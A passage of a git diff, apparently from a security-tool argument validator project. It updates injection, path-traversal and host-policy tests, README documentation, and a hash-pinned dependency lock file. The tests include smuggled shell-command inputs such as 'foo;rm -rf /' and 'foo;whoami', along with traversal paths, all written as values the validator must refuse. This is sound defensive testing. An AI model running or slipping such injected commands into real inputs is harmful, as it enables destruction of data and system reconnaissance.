allow_leading_dash: true }); + assert.equal(String(validateArg({ type: "integer" }, "+7")), "7"); + }); + + it("port requires digits in 1-65535", () => { + refused("port", ["", "+80", "0x50", " 80", "80 ", "0", "65536", "8.0", "-1"]); + accepted("port", [["80", 80], ["65535", 65535], [443, 443]]); + }); + + it("number requires a decimal literal and re-renders it", () => { + refused("number", ["NaN", "inf", "Infinity", "-inf", "0x1p3", "0x10", "", " 1", "1 ", "1_0", "1e", "."]); + assert.equal(String(validateArg({ type: "number" }, "1e2")), "100"); + assert.equal(String(validateArg({ type: "number" }, "0.50")), "0.5"); + assert.equal(String(validateArg({ type: "number" }, ".5")), "0.5"); + assert.equal(String(validateArg({ type: "number" }, "5.")), "5"); + }); + + it("duration requires the exact grammar", () => { + refused("duration", ["5m\n", "1_000", " 7 ", "5 m", "", "5x", "1m1h", "5M"]); + accepted("duration", [["30", "30"], ["5m", "5m"], ["1h30m", "1h30m"], ["500ms", "500ms"], ["1h2m3s4ms", "1h2m3s4ms"]]); + }); + + it("boolean is case-insensitive and normalized", () => { + assert.equal(String(validateArg({ type: "boolean" }, "True")), "true"); + assert.equal(String(validateArg({ type: "boolean" }, "FALSE")), "false"); + refused("boolean", ["yes", "1", " true", ""]); + }); +}); + +describe("host shape parity", () => { + it("refuses a trailing dot in a hostname", () => { + refused("scope_target", ["example.com."]); + refused("url", ["https://example.com./"]); + }); + + it("accepts a canonical IPv6 CIDR", () => { + accepted("scope_target", [["2001:db8::/32", "2001:db8::/32"]]); + accepted("cidr", [["2001:db8::/32", "2001:db8::/32"]]); + }); + + it("applies the policy to an IPv6 CIDR", () => { + refused("scope_target", ["2001:db8::/32"], { block_internal: true }); + refused("cidr", ["fe80::/10"]); + }); +}); + +describe("path components", () => { + it("refuses .. as a whole component", () => { + refused("path", ["..", "foo/..", "foo\\..", "../x", "a/../b", "/abs", "C:x"]); + accepted("path", [["foo/..bar", "foo/..bar"], ["a/b..", "a/b.."], ["x/y", "x/y"]]); + }); + + it("refuses .. in a credential_file", () => { + refused("credential_file", ["..", "foo/.."]); + }); +}); + +describe("per-argument defaults are validated at load", () => { + function manifest(argBody) { + const dir = mkdtempSync(join(tmpdir(), "toolclad-strict-")); + const path = join(dir, "t.clad.toml"); + writeFileSync( + path, + ` +[tool] +name = "t" +binary = "echo" +description = "d" + +[args.a] +position = 1 +description = "a" +${argBody} + +[command] +template = "echo {a}" + +[output] +format = "text" +` + ); + return path; + } + + it("refuses a port default of 0", () => { + assert.throws(() => loadManifest(manifest(`type = "port"\ndefault = 0`)), /args\.a\.default is invalid/); + }); + + it("refuses an integer default below min", () => { + assert.throws( + () => loadManifest(manifest(`type = "integer"\nmin = 1\ndefault = 0`)), + /args\.a\.default is invalid/ + ); + }); + + it("refuses a string default with a space in template mode", () => { + assert.throws( + () => loadManifest(manifest(`type = "string"\ndefault = "a b"`)), + /args\.a\.default is invalid/ + ); + }); + + it("accepts valid defaults and an empty string default", () => { + assert.doesNotThrow(() => loadManifest(manifest(`type = "port"\ndefault = 80`))); + assert.doesNotThrow(() => loadManifest(manifest(`type = "string"\ndefault = ""`))); + assert.doesNotThrow(() => loadManifest(manifest(`type = "string"\nrequired = true\ndefault = ""`))); + assert.doesNotThrow(() => loadManifest(manifest(`type = "boolean"\ndefault = true`))); + }); + + it("checks custom-type defaults once the custom types are known", () => { + assert.throws( + () => + loadManifestWithOptions(manifest(`type = "level"\ndefault = "9"`), { + customTypes: { level: { base: "integer", min: 1, max: 5 } }, + }), + /args\.a\.default is invalid/ + ); + }); +}); diff --git a/js/test/validator.test.js b/js/test/validator.test.js index da9c1da..d9a9cb7 100644 --- a/js/test/validator.test.js +++ b/js/test/validator.test.js @@ -25,7 +25,7 @@ describe("validateArg - string", () => { }); it("rejects injection in strings", () => { - assert.throws(() => validateArg({ type: "string" }, "foo;rm -rf /"), /Injection/); + assert.throws(() => validateArg({ type: "string" }, "foo;whoami"), /Injection/); }); it("validates pattern constraint", () => { @@ -128,9 +128,11 @@ describe("validateArg - scope_target", () => { () => validateArg({ type: "scope_target" }, " example.com"), /whitespace/ ); + // A tab is a control character (rule 2), which is checked before the + // whitespace rule. assert.throws( () => validateArg({ type: "scope_target" }, "\texample.com"), - /whitespace/ + /control characters/ ); }); @@ -198,7 +200,15 @@ describe("validateArg - ip_address", () => { it("accepts valid IPv6", () => { assert.equal(validateArg({ type: "ip_address" }, "::1"), "::1"); - assert.equal(validateArg({ type: "ip_address" }, "fe80::1"), "fe80::1"); + assert.equal( + validateArg({ type: "ip_address" }, "2001:4860:4860::8888"), + "2001:4860:4860::8888" + ); + }); + + it("refuses link-local even without block_internal", () => { + assert.throws(() => validateArg({ type: "ip_address" }, "fe80::1"), /always blocked/); + assert.throws(() => validateArg({ type: "ip_address" }, "169.254.169.254"), /always blocked/); }); it("rejects invalid IPs", () => { @@ -222,7 +232,17 @@ describe("validateArg - cidr", () => { describe("validateArg - number (float)", () => { it("accepts valid floats", () => { assert.equal(validateArg({ type: "number" }, "0.5"), 0.5); - assert.equal(validateArg({ type: "number" }, "-3.14"), -3.14); + assert.equal( + validateArg({ type: "number", allow_leading_dash: true }, "-3.14"), + -3.14 + ); + }); + + it("rejects a negative result unless allow_leading_dash is set", () => { + assert.throws( + () => validateArg({ type: "number" }, "-3.14"), + /must not start with '-' or '\+'/ + ); }); it("rejects NaN and infinity", () => { diff --git a/python/.gitignore b/python/.gitignore new file mode 100644 index 0000000..a96d3e8 --- /dev/null +++ b/python/.gitignore @@ -0,0 +1 @@ +.hypothesis/ diff --git a/python/README.md b/python/README.md index 0aed9b5..2cdc375 100644 --- a/python/README.md +++ b/python/README.md @@ -89,7 +89,7 @@ Each implementation provides: - **14 type validators** -- 10 core + 4 extended, all with injection sanitization - **Command construction** -- template interpolation with mappings, conditionals, defaults - **Execution** -- direct argv dispatch, process group kill on timeout, SHA-256 evidence hashing -- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text, custom scripts +- **Output parsers** -- builtin:json, builtin:xml, builtin:csv, builtin:jsonl, builtin:text (custom parser scripts are refused at load) - **Output schema validation** -- validates parsed results against `[output.schema]` - **MCP schema generation** -- auto-generate inputSchema + outputSchema for LLM tool use - **Evidence envelopes** -- structured JSON with scan_id, timestamps, exit_code, stderr, output_hash @@ -122,11 +122,11 @@ cd go && go run ./cmd/toolclad test ../examples/whois_lookup.clad.toml --arg tar | `port` | 1-65535 | Network ports | | `boolean` | Exactly `"true"` or `"false"` | Feature flags | | `enum` | Value in declared `allowed` list | Scan types | -| `scope_target` | Injection-safe, no wildcards, valid IP/CIDR/hostname | Targets | -| `url` | Valid URL, optional `schemes` restriction, `scope_check` | Web targets | +| `scope_target` | Injection-safe, no wildcards, canonical IP/CIDR/hostname; link-local always blocked, `block_internal` blocks loopback/private/reserved ranges | Targets | +| `url` | `scheme://host[:port]`; `schemes` allowlist (default `http`/`https`), dangerous schemes and userinfo refused, same host policy as `scope_target`, `scope_check` | Web targets | | `path` | No traversal (`../`), no absolute paths | File paths | -| `ip_address` | Valid IPv4 or IPv6 | Addresses | -| `cidr` | Valid CIDR notation (IPv4 + IPv6) | Network ranges | +| `ip_address` | Canonical IPv4 or IPv6, same host policy as `scope_target` | Addresses | +| `cidr` | Canonical CIDR notation (IPv4 + IPv6), host policy on the base address | Network ranges | ### Extended Types @@ -165,14 +165,13 @@ Reference in manifests: `type = "service_protocol"` | `builtin:jsonl` | Nuclei, streaming tools | | `builtin:text` | Simple unstructured output (default) | -### Custom Parsers +### Custom Parsers (Not Supported) -```toml -[output] -parser = "scripts/parse-outputs/parse-nmap-xml.py" -``` - -Custom parsers receive the raw output file path as `argv[1]` and emit JSON to stdout. +A `parser` value other than the `builtin:*` names is refused at manifest load +(`custom output parsers are not supported by the reference runtimes`). Earlier +releases accepted and silently ignored it. Have the tool emit JSON, JSONL, CSV +or XML and describe the result with `[output.schema]`, which is validated +fail-closed. ### Evidence Envelope diff --git a/python/pyproject.toml b/python/pyproject.toml index e6408c5..9d2f12a 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -20,8 +20,8 @@ authors = [ {name = "Jascha Wanger / ThirdKey AI"}, ] dependencies = [ - "tomli>=1.1.0; python_version < '3.11'", - "click>=8.0", + "tomli>=2.0.1; python_version < '3.11'", + "click>=8.1.3", ] [project.urls] @@ -30,9 +30,12 @@ Repository = "https://github.com/ThirdKeyAI/ToolClad" Documentation = "https://github.com/ThirdKeyAI/ToolClad/blob/main/TOOLCLAD_DESIGN_SPEC.md" [project.optional-dependencies] +# Exact, hash-pinned versions for CI and local development live in +# requirements-dev.lock; these are the compatible lower bounds. dev = [ - "pytest>=7.0", - "pytest-cov", + "pytest>=8.0", + "pytest-cov>=5.0", + "hypothesis>=6.100", ] [project.scripts] diff --git a/python/requirements-dev.lock b/python/requirements-dev.lock new file mode 100644 index 0000000..ff55e75 --- /dev/null +++ b/python/requirements-dev.lock @@ -0,0 +1,237 @@ +# Hash-pinned runtime and development dependencies of the Python runtime +# (toolclad itself is installed separately). Resolved for Python >= 3.11, +# where tomli and exceptiongroup are not needed; CI runs 3.12. +# +# pip install --require-hashes -r requirements-dev.lock +# pip install --no-deps -e . +# +# Regenerate with pip-tools (hypothesis is held at a release that has been +# public for a while; raise it deliberately): +# +# pip-compile --allow-unsafe --extra=dev --generate-hashes --strip-extras \ +# -P hypothesis==6.160.0 --output-file=requirements-dev.lock pyproject.toml +# +# This file is autogenerated by pip-compile with Python 3.14 +# by the following command: +# +# pip-compile --allow-unsafe --extra=dev --generate-hashes --output-file=requirements-dev.lock --strip-extras pyproject.toml +# +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 + # via toolclad (pyproject.toml) +coverage==7.16.2 \ + --hash=sha256:00d3eb96e9988c45f50cccd1f1496571ac5c1f91386ac02c4d55516eeda19a24 \ + --hash=sha256:01c6908bc613b420c26c818fe948e1b97dfd041a53c98b01c63bd8321f5c9aae \ + --hash=sha256:066429634299e14dd2d511e1e85f8f9cecc500781f6b41907c0dd6f1baea7e63 \ + --hash=sha256:0993d0e90858c03943d3cb152e068a20dd4707924deec84dd2230261baae3b1b \ + --hash=sha256:0dcbcfcc059117284c603ff8cb61a65872512882f84a8cf0339241f7f7c2f148 \ + --hash=sha256:0fd7a86fdda7cb6d616d178654bd0ad6bc0f3f33c2e478aa598500a1a9e34eda \ + --hash=sha256:11d28e9123a9156cb405d8d27b44256c9a58fb5decc2073a8f17862057e3aa0f \ + --hash=sha256:11e597173af1dc33d5f8a7332ada544199269a223af1ee1770ddd5e245ad0fe8 \ + --hash=sha256:126d1af8804d7224421fe991ff65d3ce649081560df7a98b1a5ffff07f9923bd \ + --hash=sha256:14253fc7bb15749b849795a06f5d3b6d8bc3fb8a4b5ddc341faf7a89dce205fc \ + --hash=sha256:152877cdc8a07264882cfcd503ba56a3ef6cba56a70e8c70f6eb8ffd7384789a \ + --hash=sha256:17228fbca0f22976f797be94e975dcd237799c657d49551c7de1e0654d1202e9 \ + --hash=sha256:191803c4996b499fcd78c2ad5e5f767dcc53cb4dc6de6d6a741b443a1821ef02 \ + --hash=sha256:1a37c6e478cf687e1aa30a593d19c92c02fad9d122b51ab73f51b8dc7a0c0fc9 \ + --hash=sha256:1c569a9fd25505f1cd6bea90588818f90373ce90e2632e2cacf19ddbd6e14fdb \ + --hash=sha256:1d56e4d21c56d2046447733f8b118409597db48c01efe898ee9ac24e858ec2d6 \ + --hash=sha256:1d5d0e3b660506fb84f995814e3118a21efdc0c8eb80127da1be627d90093c17 \ + --hash=sha256:1f15254427c9b33eedac4f198eaf9e356eb4f6214551afb43da6194a2c088ad7 \ + --hash=sha256:218d742afca2b5ad5ca759e93eddedfbcc6eadf8322f080dcefc40b7bd4e2d48 \ + --hash=sha256:22957cef43ce038641de78ba995de7568d2d6a37c6ddbf7fa0fd7d1ae2344d91 \ + --hash=sha256:23219888477edd736b6fcaec1272d47d93b926e999641ffea7e53a1738e70b2b \ + --hash=sha256:251aed777c47c77aba047096d4542889db089227655711dfc2b9c54ef0e15e35 \ + --hash=sha256:28ff850182a67d117990fa2ce5ea1032836d8c9630dae867e8bdd3bff4533b79 \ + --hash=sha256:29309ccc86b7f33df7db12813c299f215bbbc470ed6292d0bedd63ffae1ebf64 \ + --hash=sha256:2aca0bdfa9e91621d5b09d815357bf63def4fc0e9cb66da67bf2cf93f3b1a6f5 \ + --hash=sha256:30c1b65d529e46569899fadca59e4a87c1faf2886923f1307ba61e654d4f3c20 \ + --hash=sha256:35f37886699cb9abd29958247d718628d5bc6f39e623dff66a09e546c42a7e03 \ + --hash=sha256:382d3346d56b0eec1b793d53a4c88799c8053f516aa3a8d7c44315696954bacf \ + --hash=sha256:396bb16e04ce04efbb3df91456ae4e3da918e69ecdf67fb711b0a0fdf35ccce0 \ + --hash=sha256:3e7f99698ba3a7d13988bdd984b7ebf13af4dbe2166dc8502eef90d77603b0a4 \ + --hash=sha256:3e861f1071dcc2fec1e88bef0920f6b1eaa66a143555b4f8ab79ba2b0f30ef55 \ + --hash=sha256:3f43bac1856ba269b905302778d4df433d6006489a192174ad77ac528e395032 \ + --hash=sha256:40c0f00899fe6181ae7f434ceb200e51f5ee4b8ed10e3b5f0b605f0cae15da87 \ + --hash=sha256:414c26dfdb96aac2d570a54e03008f001e32eb2d413705365503648c6bd361d8 \ + --hash=sha256:4358b9c8c0125b460407f3017c6cce8156e904b32772c5630d27112f52bdbfe5 \ + --hash=sha256:444889f7f66b74e4455c0a97e0e166dd41177f1dca8c0239a47cff25e05ba7e1 \ + --hash=sha256:44f21e407b278efdfc1ee5e481e00518bd1d500310a30a5fbf2bcbedfef4aaf0 \ + --hash=sha256:4cc4f73aa3fabc36e32046d6cd2971405948d8a903636508a3d3b2f9128b3a95 \ + --hash=sha256:4dbbd1155ca46e6e0b6b89d204428c56ef6a459af21333f365d135a2820e5a09 \ + --hash=sha256:4ee546b9e4872ffa194bf07ac87bfa1202ebb824d0795dc1ef22f175545ca90a \ + --hash=sha256:5139009b5efd2194fc168ee9362f0e191ba612ef5d29242f9269c22f9b8f80c7 \ + --hash=sha256:5375ebd99038021b35e99dc88255022912c06565d316212f4a576e4b08d30f5d \ + --hash=sha256:5397e21a90dde0e9c6896b77ded8f0be26b66f8b22b33aed41f6043ed95d55e6 \ + --hash=sha256:57ff3783f99d75a1e81dd56a9737eb5665e6736a5d93258ba596b6dcad8fd05b \ + --hash=sha256:58d4a54c6ea672afef66d49be922a2c69826c5ae1a42a9cd94f0c9c2bacdf800 \ + --hash=sha256:59c3926585e1cd1f2190f4b2ac9014de1bbeaf0d5d0587b0dc6b0aa90d17896a \ + --hash=sha256:5a27b731c171e43dc8b5f32b76a5051dde2ec9b9366c87028f08a7088ebc2c7b \ + --hash=sha256:5b3146d2317c75f70df2509066d979dadd941f7021cdf9b5db4bcd8568258e25 \ + --hash=sha256:5dca0bb66b4c3d624ba047887bf70270030c150692d543cb501293dc38a9f4b5 \ + --hash=sha256:611a44e5229a59d7483ce830160e1a0e85f700562c7a5651c7c63fb8f4eb528c \ + --hash=sha256:648352b94507179d82637292e7ae8802508d95f78e2f00a705a50b6c48011681 \ + --hash=sha256:6a75180829efb8ae62b4aded25be6ddca1c888d138d2d82e21d93bfbd88f41cb \ + --hash=sha256:705e5af11d34647efdc170c7840b6857c81cf74be96419a553f237e68e62cb72 \ + --hash=sha256:723dcdab91357159b722935b500ee8abc0a66c8c432e1e9fabf4cc7598952de8 \ + --hash=sha256:724bd0f1e81856b35e59fc98cf7b4e544a3cb662e4e0864dca73d4326ee9d808 \ + --hash=sha256:732d950e51f3ba4fb6209c73250f3e8924fefca42953ee04a9e65d8c02414d7d \ + --hash=sha256:736fde09ea39646d11f8e3b76bd3425c075aa4dd45f24891970bb77c14ff20f5 \ + --hash=sha256:7a076277ca9f5750cc230f0f578ebd2620cec60255b25707361699fef6fb465c \ + --hash=sha256:7b3bce4a0d05401d70b7d0d5ca783e686bc9d30e81dbd7d980d532609bf809e4 \ + --hash=sha256:7b451c68218c150f616bc9649783ec8de76a59792c759b43aa0c9c0466a465e4 \ + --hash=sha256:7d0732c83746bc24123c581a85d9dd96b70ddb538c9076020aa1a041790361e9 \ + --hash=sha256:7ed238d227e23cc300c3d464babdaf9f6ddc740aa1b15a77ae96136e6a7c4516 \ + --hash=sha256:80d3f7b48d43ee8fc5e8707a8adb43d743a5a1a85256c25a24f9d6d0e2238fa6 \ + --hash=sha256:80e9fdb4c3d926b6ba721d4bf7435bdb869c3527ae7803290361d0ab73db13b6 \ + --hash=sha256:848893e1d361448c113dc2f0913503522a6f7be231d0e38333d2a22d9698a011 \ + --hash=sha256:893ea9cf86cb8d2546812ac93d973aaf2ee1fb45110a873b014214fd23e3725e \ + --hash=sha256:8afd9bf35cc6a1f22eb3634808fa8e0b91902459c5721ef2e4461dfe771d7f08 \ + --hash=sha256:8be099e979fc42559328a21828281b4578304191ae46ed4e80a407048a82eee6 \ + --hash=sha256:8e209591f7c41ae4a9171335cf6156afda0b21de73b02f73f5aa95b2d5fbb08d \ + --hash=sha256:8fc15cc8d0d06e873c00ef18e1372d605f9aaf3de27d8c24e50782e75bc8b843 \ + --hash=sha256:9174f0af24e5eff248b9dbfe76ec5275a3d19d37edbc2810543f12cf97347a34 \ + --hash=sha256:921415102a90637fcc2e3f169f61dad7699ecf690e8639fc21b813acbedc0967 \ + --hash=sha256:967d72c835d7a8cf0af99ec813a2d06e3db6df706402f1fe85b31b437645f495 \ + --hash=sha256:98d9c97f51b334b0adce7b964442a9af33c1a00c6ac856984cc5dc8d18f81c75 \ + --hash=sha256:99704f73721e23859112072d522076e11c31744fc96b5652e5dd2018aa4359f7 \ + --hash=sha256:9a75a4704ff640e46170042eec1f984385a121227c505d5a16ad8e495f452541 \ + --hash=sha256:9acc7f7ec4a1b5f89bd929fde5b8a714f6fafdc6cc18725413d510aa082b47ad \ + --hash=sha256:9c6afdd69218202bc1758c9a14b86b8cf1084f37ed2ca143e567a103772b16d1 \ + --hash=sha256:9cdf19874e0d247f32f03609200370343c3c7aa260b191d8c2bb251d36198283 \ + --hash=sha256:9e1d0ced76318bab499693ff25f64faa343415187cb2e4d7befdfdd391a1cf6a \ + --hash=sha256:9fd670ac43b709c575aefc25bf52d8a598a3bc5017bddfd0a179152ab06a2deb \ + --hash=sha256:a0f2285329dac10ab08f79cb11f5692c497018e6c7c511f95e6fd63a70b8f831 \ + --hash=sha256:a2fac6895eb299a2e52d7bbb8fb3903502b9da8d3f5309ceb16ec40c646b58ee \ + --hash=sha256:a336eec40e3520d369b8a6cdabb4f596e69a8b42927ca074aa1452fed943238a \ + --hash=sha256:a4624f80732f6b427ac58f1f59c577a0994a12e8174b5af6a027b4b58795d4c3 \ + --hash=sha256:a56ac4fa5a75c7e182e8f62600cfb4aff43c5ed7356a034f3557659c3bec1d90 \ + --hash=sha256:a678c0b6b22086ec2427359d22e37445d4a792f5fdbbc744112c7dade65cad02 \ + --hash=sha256:a740ea6f083c6db7b926534d159508f80ba275ab35e722522de0d18d0f56e55f \ + --hash=sha256:a90700f743e29aa3d75a6ff5f01953176a889c00e526194bc4d281731b88d99d \ + --hash=sha256:a9a638be322a8d76a41cdb17781c7f82aaee6a66493d8ffb7e2c09ee22423d99 \ + --hash=sha256:a9cd3de0a5bfe7b0e21ee10e1a14e3d61bf52efc88217ab1d95d6ace6970bd46 \ + --hash=sha256:aa62c85046473959c13ba9edca9dc90a77d5c1095b1ba313556314d77fe5b036 \ + --hash=sha256:aba5c63b7afdc749cc9eae943d5b868cba2b261a176378fa1c5a30bc8bc89982 \ + --hash=sha256:ac0f3b379c94acc2f7dce5f5f0b24d44fa1cc6a509717ef83dfee07450c2117c \ + --hash=sha256:af2a2a8c7c74de0559e0c368d94c8def9e16c58faaee33a0bf081057c4227e3b \ + --hash=sha256:af98ad5ed9d6daaca956201e00bb429a7eb2b080426686f70a20353e0f9839f5 \ + --hash=sha256:afdf43b72ef3876c1fe66423b91466e37877c9e81e8cec70542b7e8525b9d1b7 \ + --hash=sha256:b88841e654f09732804809e435b3e005a929ffd9998b872b7b213957b8759cb8 \ + --hash=sha256:bb2fc905bbf4e6b7f40806ea79e31515abf6349594cdf0adf27c4215f0463204 \ + --hash=sha256:bb4ffe96aa663cee727659db5a2afeb38c95f8677b747d447b90d6d4874ea2c5 \ + --hash=sha256:bc0b0ac781d489304b741269857f1f8338b7a26b1b89c06c0344658001ec0035 \ + --hash=sha256:bf1bd822ec4e387ed245bed0d71151582cf7be9e5309bc4145eefe36083d5878 \ + --hash=sha256:c19cd6d025c1673f22afcd22c7df8a662d779e05d8e3fa6820c22afb895b0206 \ + --hash=sha256:c3305c38a2fa21a4254f2ace7dd9ef5fc569c9a558b66e7017650b3d637fb95e \ + --hash=sha256:c85d54e7e8a2ca932fe8399301af9b8d5907ea2a455ffaff6e7d1208db83b943 \ + --hash=sha256:ca64d9f1f384f151b9511bec01126072acd2f313439f8ed015a22d8790aab6fa \ + --hash=sha256:cce2bc991293f15cc4084ca116827b5900c5f34e1a54dfe83f10ab5c43162eb7 \ + --hash=sha256:d6276d78f6fca7d0ac066d5da4165c5acd07829e8305c2cb900b738fb3a75a72 \ + --hash=sha256:d93db87adb6b1c1b408dce4763314b55d76a9f589e96783a84ac9e7689e48bdf \ + --hash=sha256:db5f8394e17f877a625b257f2ba0ce8e728a499c2c1579ad66220272cd3df510 \ + --hash=sha256:db76506aa5416081f3e8974ae0f7965c58ada0bb0ef7339ac86099588dbb20d3 \ + --hash=sha256:dba2edfb054f6d4a08df9d1637c39a5aa3865bca6617c13c86be21e45658a59c \ + --hash=sha256:dcf4bc2aab4e16b1c4c0c2005918f23a7dd5d7821ddae82caed9e3342dc2fcce \ + --hash=sha256:e1fa594c887365b69745f25a416806e61085dd07b94c9eae68a6e20730629b23 \ + --hash=sha256:e6c52d3307824ff93b39efd99e4185d557db40bd841452abfb32e5d9151ca162 \ + --hash=sha256:eb57acff4a74246ae513c142d4b36e18c389c3aed8661914a53f7cd0071031b2 \ + --hash=sha256:f80bd9f9633eafc73d0a913ba2645c96ba58bba1befc30590f7c0fbfde59d865 \ + --hash=sha256:f8475460aa33ee28ac896ab1156d0bb3b6c639f7f8383c2677d3359eb35f8205 \ + --hash=sha256:fb2bde05838fffae1a1bf75e5d411a6cac3e4e9bb97e6640fed8cd47888b33f0 \ + --hash=sha256:fb9d92ecfe2d5b494367c67f7446f8b75b68d8d0c8cf3bc3e6997478be25d9e2 \ + --hash=sha256:fd3d72233eb8b48acc94fa57d44e2d32ce8e7abed02882ccb6d855ccc4ed33ec + # via pytest-cov +hypothesis==6.160.0 \ + --hash=sha256:042a1a14d9c84162a36dfd9762f4c7050edf7853998ce2966ab88ac8dbe52fef \ + --hash=sha256:065cfed699889b6c05265ca4f97e8c7bb85800d3d3146f4741b68ef7be1fed18 \ + --hash=sha256:109f9a549cbbcf05c273894c9b728d4e5be1d892145a10f338a3d308922a822d \ + --hash=sha256:149400acbb7382e2ce6810a52e86a9fd6d4e5c4a47660818abb438cde76aa5d1 \ + --hash=sha256:18e058b34f4514da8b2ce15ebee9e6e98d3a95067665accf394415824934f790 \ + --hash=sha256:1ba0f1dd0f2872b7f7230a3884a0d739917d57262d0e9e3c8ee34b775f95a553 \ + --hash=sha256:1ec6ff81bace8494b12b6c2096e8fb18a769e861613a02138700a2cb5e4c1ccd \ + --hash=sha256:21ee82802c25282d692eaec7d3b960176c10eb6dc70853b152c5bc6b3b6faf02 \ + --hash=sha256:263327ab9eabd0ebe02d0dc1b21e4cf278f52abf5938ebfb21dbd43d75afb2cf \ + --hash=sha256:285f6763461d58ef1b9b75efd69b559ba3b91055c7c6fb34b1513b3666106a62 \ + --hash=sha256:31ee8c50c9d8e48023eab9769ea8498028c7c09e8582e2d2a5320c5ddab16dfa \ + --hash=sha256:3cc2b632673216b0a51796d60f7923e805f864c35aa6d0bef19399f0ea16c455 \ + --hash=sha256:3d186b17a25eaf51ebf0376ea9d702dddb4f62cc11c0b5230e0aae77b44f49d3 \ + --hash=sha256:3f9116a80ed96060a7fbc8d50cc5e93dec10d72f70f61e9184628dbcba2f9a2f \ + --hash=sha256:4716ceb2adc72ea20138cd6a5600d102895f46fe95a42d915e032eed54b77ee6 \ + --hash=sha256:47af99b07f3aab4c31559187c4d6ba2c34c7e0fcb907cbe6f30727545dfc578a \ + --hash=sha256:4868821ffba805970441fec1b0635ea123f01aa6b71fc8f2d9550ee782f1ecd7 \ + --hash=sha256:4a93e8787cd74862cc1e3993046953ce0061b734d039681f108fad83dd5b7410 \ + --hash=sha256:4af833bb623f37b185e53ad7c62292272fc9fec3c7567d0703e3fdd3dcc90945 \ + --hash=sha256:52e0cdc8fcd34b121a213205f239545fec38142014114afc721d1c867ac34834 \ + --hash=sha256:5789a0cd225f216690d7d99159bbd5d01a6d42cb6c4a07233739b4bf59c7fa37 \ + --hash=sha256:57f6e370e24c3ca4b9bb6cb132baa471745ca3d598f6328a602f590fe531b1e7 \ + --hash=sha256:5b38697f797e9406e20e03cd79e1a69c7ac714e7e244f13121d39b44f27f7ed3 \ + --hash=sha256:5df6d4768d7a2d0bd82cd8704c2732cf80fd13089217a3b0ff7b330b59eb50c6 \ + --hash=sha256:64cf59670080aeb3c6048d62df0f6352586410745d14d7045a692eb5d2245110 \ + --hash=sha256:69e1511325901fcd570fbd88779882e30cb280aeedd9708093aab4b25f7cdbf5 \ + --hash=sha256:6b95b19b8919629b433244801111c8e49d671b7769e8992aa11d4063206e4e8c \ + --hash=sha256:78cb5fcf8518f3a10e888cdff545fa733931e2ff843b02a54e5e0b01b3142f94 \ + --hash=sha256:796d295695229cb2f42ce454202b2512c5ed10843763b416a205b12c0a837711 \ + --hash=sha256:7973d5956d1ea2fe936c8c99b64214ebb0d06c40ce99399c28bcecba05c54a02 \ + --hash=sha256:7e5e959bb18ec9b285dcc1d6f455c8860da919b9341842530847e820ed18dbbb \ + --hash=sha256:876b05b3c23f13a0a10a4b2d3b693f612d490f79daa3ef859928317dfb6860c7 \ + --hash=sha256:8b1f415b89b6a1df913f2cda378f504775b4cd190fae5f3fefb08055fca8e3ab \ + --hash=sha256:8beac87be57d8305fc46593086b60e1b4d0f5dba1544273ede3f09c926ba8225 \ + --hash=sha256:8d04e56812e135c3223cd06cd0016f61466ce7c56720167046d91123534240f5 \ + --hash=sha256:9561298d687f9fca38aab451e8eb8a9f18b65a57f81f7331eff5234f0f065dc0 \ + --hash=sha256:95a4b0e1faa366d0cc9d7ce261773cec69f4f130b845ca33b71c22c85493c35d \ + --hash=sha256:96f3794173284a26440514ad1ea1e146e9971ce4b531ca350402454c34d2b595 \ + --hash=sha256:993c26c81e9cc9f291cdb64f54aa8f31507d2d472d0f1334f8ba9e7d77666911 \ + --hash=sha256:9bd3d333a501f1faf8611159a998eb1bb28c43b620822ba6c8b2463f5de2a136 \ + --hash=sha256:9e19f91119e2e19603210b849508695efabd2a35d6af9ac4d637c1b9a514a52b \ + --hash=sha256:b7d71e85548be9dd3a6eb59904daa85d5879e337cb69ad42cc2267c05a17ab26 \ + --hash=sha256:bdafeab25029d1261786f68ce7aedaa5c0be3ad4accfb13b32ff206ef6dfaa40 \ + --hash=sha256:c0dcde9c08f3bdd5318026c57155ce4bfe7615fd27d3eca77a7453cb3ffbba64 \ + --hash=sha256:c18c5eb6260bda6e56689429723d5b62b62cedee88c95de03976799645c9b0ce \ + --hash=sha256:c1c32bed39ecff19f68e37fef7ee4bcd1d13a82378fcd321b61d0cd2f1a360c8 \ + --hash=sha256:c4a8f6187464ddb3603657fa99d17f81bb1be8859fd706c288175728dc1da7dd \ + --hash=sha256:c6230309727b687ac5f37d7bc1dd61187196019ebc339a28a6374658c1c1363d \ + --hash=sha256:cb6cd703d38d881505a00e1901844d70d250e90824caa55e0dfaed6c8c7e0244 \ + --hash=sha256:cee30c0a0b507b8bd4f196b18b8dc232ae3071617a148904c339c683b2eb008e \ + --hash=sha256:d7cefc720eaf6d80f4ee0be59a12e301f3d16a5941fdbefe11295ca7e567b0c2 \ + --hash=sha256:dd6b73076bb3fbf02001a439a5eb45cdd3db17e2cf6d95f453cfb1f5a97713f5 \ + --hash=sha256:deabcb5645076988ac52237a7c3ee8fca2fbd4f859461537374911fbe0e99817 \ + --hash=sha256:ded91bbdd0c3a84903bda3dc08d639b3b3e28c03fb83b568af8e13039042c3c4 \ + --hash=sha256:dfe893a54fe0a55778689b3cd56cb015e7895362db015a0f9450af9e6123f185 \ + --hash=sha256:e58f31d86abe8b92b2fca85ac4f744d7fdfd6dc0e9ca1df60e68cf351d3dabae \ + --hash=sha256:e95c3ce8e9c5abd2256854a2e53395fdd91d16cdce8d1621eca8caf5c7a2b1a2 \ + --hash=sha256:ef7d9e8022a8dd2afa2bfbf6580f21a7fd8b4798d20c027f4afb048d780414fd + # via toolclad (pyproject.toml) +iniconfig==2.3.1 \ + --hash=sha256:67f4b9c50da0dedf52af349e7749a80a9057a5031199791b906c3bb3ae878960 \ + --hash=sha256:9121e2c1fdb355232495be3194c8dfe87ccc2d5dee45947b78e68f499790d7a7 + # via pytest +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c + # via pytest +pluggy==1.6.0 \ + --hash=sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3 \ + 